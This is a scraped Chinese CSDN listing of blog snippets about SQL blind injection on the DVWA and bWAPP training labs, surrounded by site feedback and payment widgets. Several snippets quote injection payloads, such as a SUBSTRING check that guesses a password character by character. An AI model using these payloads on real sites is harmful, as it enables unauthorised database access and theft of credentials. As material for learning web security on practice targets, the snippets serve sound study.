DVWA-SQL盲注脚本（全）
10-04
DVWA SQL盲注，Low，Medium，High 三个级别的bool盲注脚本，比较完整，配套解释 ： https://blog.csdn.net/csdn_Pade/article/details/82886765
sql盲注
qq_42307546的博客
01-02 357
在一些特定的场景下我们输入的sql语句并没能回显出来只能根据不同的页面返回结果来判断结果，这就是盲注入 代码分析 <?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $res
SQL Injection (Blind)
angry_program的博客
02-08 449
前言 SQL盲注，即SQL Injection（Blind），与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果(错误回显)，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。 手工盲注的过程，就像你与一个机器人聊天，这个机器人知道的很多，但只会回答“是”或...
【靶场搭建】超级详细——DVWA靶场搭建（婴儿级教程）
最新发布
KKleeeaa的博客
03-04 747
首先你得有一个，搭建网站的一个软件，这里我推荐小皮面板，它的安装方式简单，搭建也很容易，对于新手来说是个比较好的一个软件。小皮面板官方网站为,请选择适合你的版本进行安装，我这里给你们演示的是Windows版本的小皮面板。随后点击网站，创建一个新网站，也可以直接用现成的，这里演示创建网站教程。点击刚刚创建好的网站的管理，然后打开跟目录，把DWVA文件解压到这里来。有什么疑难杂症请 截图评论一下 博主会第一时间给你解决哦。他的官方github在这里，中文版的。一键启动 WNMP 蓝色表示启动成功。
Kali渗透测试之DVWA系列（四）——使用Burp Suite进行SQL Injection（Blind）（SQL盲注，包括盲注脚本）
weixin_45116657的博客
08-25 3946
目录： 一、SQL盲注 SQL盲注与SQL注入的区别； SQL盲注的过程； 二、实验环境 三、实验过程 基于布尔值的盲注； 基于时间的盲注； 一、SQL盲注简介 1、SQL盲注： 盲注：SQL Injection（Blind），即SQL盲注，目标只会回复是或不是，没有详细内容； 注入：可以查看详细的内容 2、手工盲注思路： 手工盲注的过程，就像你和机器人聊天一样，这个机器人知道的...
SQL注入漏洞（union + 盲注）
m0_61506558的博客
09-16 1526
数据库漏洞一直处于OWASP前几名，虽然在2021年滑到第三，漏洞的危害是不言而喻的，数据库可以分为两种：关系型数据库：关系型数据库，存储的格式可以直观地反映实体间的关系。关系型数据库和常见的表格比较相似， 关系型数据库中表与表之间是有很多复杂的关联关系的。常见的关系型数据库有 MySQL,Oracle, PostgreSQL,SQL Server等。
dvwa-sql盲注
AI_SumSky的博客
11-27 4611
sql盲注 low级别 先提交个参数，发现执行成功就是回显时只是说这个id存在数据库，没有回显出id具体信息，怪不得叫盲注。 分析源码没有对所提交参数id做任何处理就直接执行了，只是回显的时候被隐藏了。 其实也可以通过ascaii码来一个一个字符弄出来，输入1’ and length(database())=1#，显示User ID is MISSING from the database. 输入1’ and length(database())=2#，显示User ID is MISSING from
适合DVWA和SQL-li-lab的PHPStudy、DVWA、SQL-li-labs
03-26
免费的工具包，下载安装配置好即可使用，给个小赞吧。
2020-12-06-DVWA之sql.md
01-24
dvwa之sql
DVWA-master.zip
01-04
DVWA-master.zip
DVWA下的SQL Injection(Blind)
07-25
盲注
DVWA之sql注入——盲注
Williamanddog的博客
12-22 2729
DVWA的盲注
SQL Injection (Blind)之盲注（原理、分类、利用）
weixin_51513059的博客
03-24 3015
在SQL注入过程中，SQL语句执行后，选择的数据不能回显到前端页面，此时需要利用一些方法进行判断或者尝试，这个过程称之为盲注。在盲注中，攻击者根据其返回页面的不同来判断信息（可能是页面内容的不同，也可以是响 应时间不同）。一般情况下，盲注可分为两类：基于布尔的盲注（Boolean based）基于时间的盲注（Time based）
DVWA—sql注入（盲注）
qq_74806534的博客
02-12 445
盲注，与一般注入的区别在于，一般地注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。
SQL Injection - Blind - Boolean-Based注入思路
****的博客
08-21 3535
靶机：bWAPP bug：SQL Injection - Blind - Boolean-Based 难度等级：low 这是基于布尔型的盲注。首先使用“Man of Steel”、“Man of Steel' and 1=1#”测试发现，返回的信息都为“The movie exists in our database!”，当输入“Man of Steel' and 1=2#”，返回 “The...
Kali渗透测试之DVWA系列8——SQL Injection（Blind）(SQL盲注)
浅浅的博客
06-13 1458
目录 一、SQL盲注 1、SQL盲注与SQL注入的区别 2、SQL盲注的过程 二、实验环境 三、实验过程 基于布尔值的盲注 基于时间的盲注 一、SQL盲注 1、SQL盲注与SQL注入的区别 盲注：目标只会回复是或不是，没有详细内容 注入：可以查看到详细的内容 2、SQL盲注的过程 1、判断是否存在注入，注入是字符型还是数字型 2、猜解当前数据库名 猜解数据库名的...
【DVWA】SQL Injection(Blid)
qq_43665434的博客
02-28 310
【DVWA】SQL Injection(Blid) ​ SQL Injection(Blind)即SQL盲注，与一般的SQL注入的区别是盲注时攻击者通常无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要高于一般的注入。并且现在实战基本都是盲注。盲注分为三类：基于布尔SQL盲注、基于时间的SQL盲注，基于报错的SQL盲注。 基本思路： 1、先判断是否存在盲注 2、利用二分法逐个字母的猜解出数据库名 3、猜解数据库的表的数量 4、猜解数据库表名 5、猜解表中字段名
SQL注入漏洞详解
热门推荐
无言道的博客
03-13 1万+
文章目录SQL注入漏洞原理SQL注入内容注入条件判断注入SQL注释符与注入流程 SQL注入漏洞原理 漏洞原理   web页面源代码对用户提交的参数没有做出任何过滤限制，直接扔到SQL语句中去执行，导致特殊字符改变了SQL语句原来的功能和逻辑。黑客利用此漏洞执行恶意的SQL语句，如查询数据、下载数据，写webshell、执行系统命令以此来绕过登录权限限制等。 检测方法   可以利用sqlmap进行SQL注入的检查或利用，也可以使用其他SQL注入工具。也可以手工测，利用单引号、and 1=1以及字符型
DVWA平台之sql盲注学习
CANCERTHREE
03-08 2329
首先声明，本文参考了以下文章，这几篇都写得挺详细了，本文只是个人的整理以及实践： 1、http://www.myhack58.com/Article/html/3/7/2011/32223.htm 2、http://blog.chinaunix.net/uid-11582448-id-4432211.html 3、http://www.2cto.com/Article/201307/2274
dvwa sql注入盲注
10-09
Blind SQL注入是一种攻击技术，它利用应用程序对数据库的查询结果进行布尔判断来推断出数据的信息。在DVWA（Damn Vulnerable Web Application）中进行盲注的过程也类似。下面是一个简单的示例： 假设我们有一个登录页面，我们可以通过输入用户名和密码来验证用户身份。在用户名字段中，我们可以尝试输入一些恶意的代码来触发SQL注入漏洞。例如，我们可以使用如下的输入进行测试： `admin' AND SUBSTRING(password, 1, 1) = 'a' --` 这个输入的目的是判断数据库中的密码字段的第一个字符是否是 'a'。如果页面在进行查询时，没有正确地处理输入，那么它可能会返回一个成功的结果，表示我们的猜测是正确的。通过不断尝试不同的字符和位置，我们可以逐步推断出整个密码。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值